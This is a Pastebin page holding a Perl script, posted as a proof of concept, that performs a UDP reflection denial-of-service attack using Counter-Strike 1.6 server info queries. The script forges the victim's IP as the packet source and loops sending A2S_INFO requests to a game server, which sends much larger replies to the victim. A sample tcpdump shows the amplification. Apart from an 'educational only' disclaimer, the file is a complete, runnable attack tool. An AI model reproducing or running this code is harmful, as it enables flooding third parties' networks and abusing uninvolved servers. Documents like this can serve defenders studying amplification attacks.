toads

Counter-Strike 1.6 'GameInfo' Query Reflection DoS

Jan 18th, 2016
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 6.61 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. #  Counter-Strike 1.6 'GameInfo' Query Reflection DoS
  4. #  Proof Of Concept
  5. #
  6. #  Copyright 2015 (c) Ares
  7. #  todor.donev@gmail.com
  8. #  http://pastebin.com/u/toads
  9. #
  10. #
  11. #  Disclaimer:
  12. #  This or previous program is for Educational
  13. #  purpose ONLY. Do not use it without permission.
  14. #  The usual disclaimer applies, especially the
  15. #  fact that Ares is not liable for any
  16. #  damages caused by direct or indirect use of the
  17. #  information or functionality provided by these
  18. #  programs. The author or any Internet provider
  19. #  bears NO responsibility for content or misuse
  20. #  of these programs or any derivatives thereof.
  21. #  By using these programs you accept the fact
  22. #  that any damage (dataloss, system crash,
  23. #  system compromise, etc.) caused by the use
  24. #  of these programs is not Ares
  25. #  responsibility.
  26. #
  27. #  Use at your own risk and educational
  28. #  purpose ONLY!
  29. #
  30. #  See also, UDP-based Amplification Attacks:
  31. #  https://www.us-cert.gov/ncas/alerts/TA14-017A
  32. #
  33. #  # perl cstrike-drdos-poc.pl 46.165.194.16 192.168.1.10 27010
  34. #  [ Counter-Strike 1.6 'GameInfo' query reflection dos poc
  35. #  [ Sending GameInfo requests: 46.165.194.16 -> 192.168.1.10  
  36. #  ^C
  37. #
  38. #  # tcpdump -i eth0 -c4 port 27010
  39. #  tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
  40. #  listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
  41. #  00:00:00.000000 IP 192.168.1.10.31337 > masterserver.css.setti.info.27010: UDP, length 25
  42. #  00:00:00.000000 IP masterserver.css.setti.info.27010 > 192.168.1.10.31337: UDP, length 1392
  43. #  00:00:00.000000 IP 192.168.1.10.31337 > masterserver.css.setti.info.27010: UDP, length 25
  44. #  00:00:00.000000 IP masterserver.css.setti.info.27010 > 192.168.1.10.31337: UDP, length 1392
  45. #  4 packets captured
  46. #  4 packets received by filter
  47. #  0 packets dropped by kernel
  48.  
  49.  
  50. use strict;
  51. use Socket;
  52. use warnings;
  53. no warnings 'uninitialized';
  54.  
  55. print "[ Counter-Strike 1.6 \'GameInfo\' query reflection dos poc\n";
  56. die "[ Sorry, must be run as root. This script use RAW Socket.\n" if ($< != 0);
  57. my $css         = (gethostbyname($ARGV[0]))[4];         # IP Address Destination        (32 bits)
  58. my $victim      = (gethostbyname($ARGV[1]))[4];         # IP Address Source             (32 bits)
  59. my $port        = $ARGV[2] || '27015';                  # Int between 1 and 65535        Default: 27015
  60. die "[ Port must be between 1 and 65535!\n" if ($port < 1 || $port > 65535);
  61. if (!defined $css || !defined $victim) {
  62.     print "[ Usg: $0 <cstrike server> <victim> <port>\n";
  63.     print "[ Default port: 27015\n";
  64.     print "[ <todor.donev\@gmail.com> Todor Donev\n";
  65.     exit;
  66. }
  67.  
  68. print "[ Sending GameInfo requests: $ARGV[0] -> $ARGV[1]\n";
  69. socket(RAW, AF_INET, SOCK_RAW, 255)             || die $!;
  70. setsockopt(RAW, 0, 1, 1)                        || die $!;
  71. main();
  72.  
  73.     # Main program
  74. sub main {
  75.     my $packet;
  76.      
  77.     $packet = iphdr();
  78.     $packet .= udphdr();
  79.     $packet .= cshdr();
  80.     # b000000m...
  81.     send_packet($packet);
  82. }
  83.  
  84.     # IP header (Layer 3)
  85. sub iphdr {
  86.     my $ip_ver          = 4;                                    # IP Version 4                  (4 bits)
  87.     my $iphdr_len       = 5;                                    # IP Header Length              (4 bits)
  88.     my $ip_tos          = 0;                                    # Differentiated Services       (8 bits)
  89.     my $ip_total_len    = $iphdr_len + 20;                      # IP Header Length + Data      (16 bits)
  90.     my $ip_frag_id      = 0;                                    # Identification Field         (16 bits)
  91.     my $ip_frag_flag    = 000;                                  # IP Frag Flags (R DF MF)       (3 bits)
  92.     my $ip_frag_offset  = 0000000000000;                        # IP Fragment Offset           (13 bits)
  93.     my $ip_ttl          = 255;                                  # IP TTL                        (8 bits)
  94.     my $ip_proto        = 17;                                   # IP Protocol                   (8 bits)
  95.     my $ip_checksum     = 0;                                    # IP Checksum                  (16 bits)
  96.  
  97.     # IP Packet
  98.     my $iphdr       = pack(
  99.                         'H2 H2 n n B16 h2 c n a4 a4',
  100.                         $ip_ver . $iphdr_len, $ip_tos,
  101.                         $ip_total_len, $ip_frag_id,
  102.                         $ip_frag_flag . $ip_frag_offset,
  103.                         $ip_ttl, $ip_proto, $ip_checksum,
  104.                         $victim, $css
  105.                         );
  106.                         return $iphdr;
  107. }
  108.  
  109.     # UDP Header (Layer 4)
  110. sub udphdr {
  111.     my $udp_src_port    = 31337;                        # UDP Sort Port         (16 bits) (0-65535)
  112.     my $udp_dst_port    = $port;                        # UDP Dest Port         (16 btis) (0-65535)
  113.     my $udp_len     = 8 + length(cshdr());          # UDP Length            (16 bits) (0-65535)
  114.     my $udp_checksum    = 0;                            # UDP Checksum          (16 bits) (XOR of header)
  115.  
  116.     # UDP Packet
  117.     my $udphdr      = pack(
  118.             'n n n n',
  119.             $udp_src_port,
  120.             $udp_dst_port,
  121.             $udp_len,
  122.             $udp_checksum
  123.             );
  124.     return $udphdr;
  125. }
  126.  
  127.    # Counter-Strike 'GameInfo' request
  128. sub cshdr {
  129.  
  130. #
  131. # https://developer.valvesoftware.com/wiki/Server_queries
  132. #
  133. # https://developer.valvesoftware.com/wiki/Source_RCON_Protocol
  134. # Requests
  135. # The server responds to 5 queries:
  136. #
  137. #          A2S_INFO   'T' (0x54)
  138. #    Basic information about the server.
  139. #          A2S_PLAYER 'U' (0x55)  
  140. #    Details about each player on the server.
  141. #          A2S_RULES  'V' (0x56)
  142. #    The rules the server is using.
  143. #          A2A_PING   'i' (0x69)
  144. #    Ping the server. (DEPRECATED)
  145. # A2S_SERVERQUERY_GETCHALLENGE  'W' (0x57)
  146. #    Returns a challenge number for use in the player and rules query. (DEPRECATED)
  147. #
  148. # Queries should be sent in UDP packets to the listen port of the server.
  149. #
  150.  
  151. # 25 bytes - A2S_INFO
  152.     my $query            = "\xff\xff\xff\xff\x54";      # 0000   ff ff ff ff 54 53 6f 75 72 63 65 20 45 6e 67 69  ....TSource Engi
  153.        $query           .= "\x53\x6f\x75\x72\x63";      # 0010   6e 65 20 51 75 65 72 79 00                       ne Query.
  154.        $query           .= "\x65\x20\x45\x6e\x67";  
  155.        $query           .= "\x69\x6e\x65\x20\x51";  
  156.        $query           .= "\x75\x65\x72\x79\x00";  
  157.  
  158.     my $cshdr            = pack('a*', $query);
  159. return $cshdr;
  160. }
  161.  
  162. sub send_packet {
  163.     while(1){
  164.     select(undef, undef, undef, 0.40);                  # Sleep 400 milliseconds
  165.     send(RAW, $_[0], 0, pack('Sna4x8', AF_INET, 60, $css))  || die $!;
  166.    }
  167. }
Add Comment
Please, Sign In to add comment